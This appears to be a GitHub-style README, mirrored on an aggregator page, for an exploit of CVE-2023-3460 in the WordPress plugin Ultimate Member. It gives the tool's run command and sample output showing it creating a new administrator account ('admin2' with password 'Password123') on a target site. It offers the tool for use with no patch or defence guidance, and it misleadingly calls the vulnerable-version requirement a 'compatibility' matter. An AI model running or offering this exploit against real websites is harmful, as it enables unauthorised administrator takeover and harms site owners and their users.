CVE-2023-3460 PoC — WordPress Plugin Ultimate Member 权限许可和访问控制问题漏洞

Description

Exploit for the vulnerability of Ultimate Member Plugin.

介绍

Ultimate Member - Overview

Welcome to the Ultimate Member GitHub repository! Ultimate Member is a powerful and flexible user profile and membership plugin for WordPress but Sometimes Plugins has some vulnerability and lead to website compromisation

Important Notice: Please note that the version of Ultimate Member should be less than 5.6.7 to ensure compatibility and optimal functioning. Using versions beyond this might lead to unexpected issues and conflicts.

Usage

 python3 exploit.py <url>
    Example:
        python3 exploit.py https://example.com/register
                 --- Ultimate Member Exploit ---
                        (Get Admin Access)
                                 by Rajneesh K Arya
        
        id : 9
        Username : admin2
        Password : Password123
         value : cb2147ddb3
        Attacking https://example.com/register/ : done

        Congratulations! We gained access to admin panel:
        Credentials...
        Username: admin2
        Password: Password123
open to contribute


  

文件快照

备注